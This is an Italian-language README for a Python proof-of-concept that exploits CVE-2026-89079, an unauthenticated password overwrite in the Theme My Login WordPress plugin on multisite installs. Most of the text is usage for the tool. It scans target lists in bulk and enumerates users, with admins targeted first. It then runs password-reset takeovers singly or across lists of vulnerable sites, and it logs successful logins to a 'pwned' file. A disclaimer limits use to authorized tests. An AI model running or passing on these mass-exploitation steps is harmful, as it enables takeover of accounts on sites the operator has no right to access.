
PoC in Python per CVE-2026-89079: identifica Theme My Login <=7.2.1 su WordPress multisite, quindi sfrutta la sovrascrittura della password non autenticata tramite lost-password e verifica l'accesso.
Strumenti di ricerca sulla sicurezza per CVE-2026-89079: acquisizione non autenticata dell'account su WordPress multisite quando Theme My Login ≤ 7.2.1 ha abilitata l'opzione di rete tml_user_passwords.
Solo per test autorizzati. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di autorizzazione scritta ai test.
| Plugin | Theme My Login |
| Affected | ≤ 7.2.1 |
| Fixed | 7.2.2+ (06b7623) |
| CWE | CWE-269 Improper Privilege Management |
| CVSS 3.1 | 9.8 (Critical) |
Tutte e tre le condizioni devono essere vere:
is_multisite() — ms-hooks.php viene caricato solo su un vero WordPress multisite (non su TML /register/ in single-site).get_site_option( 'tml_user_passwords' ) — “password di registrazione scelte dall'utente” a livello di rete.tml_ms_filter_pre_insert_user_data() applica $_POST['user_pass1'] su retrieve_password() → wp_update_user().Una risposta checkemail=confirm dopo il POST di recupero password non prova che la password sia stata cambiata; è il normale comportamento di WordPress quando il filtro vulnerabile è inattivo.
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
Output (predefiniti):
| File | Contenuto |
|---|---|
cve_2026_89079_results.jsonl | Tutti i target + finding_status, indizi multisito / user_pass1 |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (tab: URL, versione, best_login opzionale) |
cve_2026_89079_eligible.txt | Euristica più restrittiva: registrazione di rete + user_pass1 alla registrazione (non una garanzia) |
I valori di finding_status includono: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
Flag utili:
| Flag | Scopo |
|---|---|
--no-require-multisite | Tenta anche quando l'euristica multisite fallisce (molti siti TML single-site) |
--require-user-passwords | Salta quando le pagine di registrazione non contengono user_pass1 |
--only-eligible | Sfrutta solo le righe con exploit_eligible da un precedente --check-jsonl |
--verify-only | Nessun POST della password / nessun login — solo diagnostica di form ed endpoint |
--skip-version-check | Forza il tentativo quando il readme è bloccato |
-q | Logging bulk più silenzioso |
Output: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (login riusciti).
python -m unittest discover -s tests -v
tml_lost_password_handler() → core retrieve_password().wp_pre_insert_user_data ignora gli aggiornamenti durante il recupero password ($update).wp-signup.php → /register/ (comune falso positivo di TML su sito singolo).html.parser; supporta il recupero password AJAX di TML quando configurato.tml_user_passwords o il plugin fino alla correzione.user_pass1.Questo progetto è destinato alla ricerca sulla sicurezza difensiva, alla validazione delle patch e ai test di penetrazione autorizzati. L'uso improprio è vietato. Gli autori non si assumono alcuna responsabilità per l'uso non autorizzato.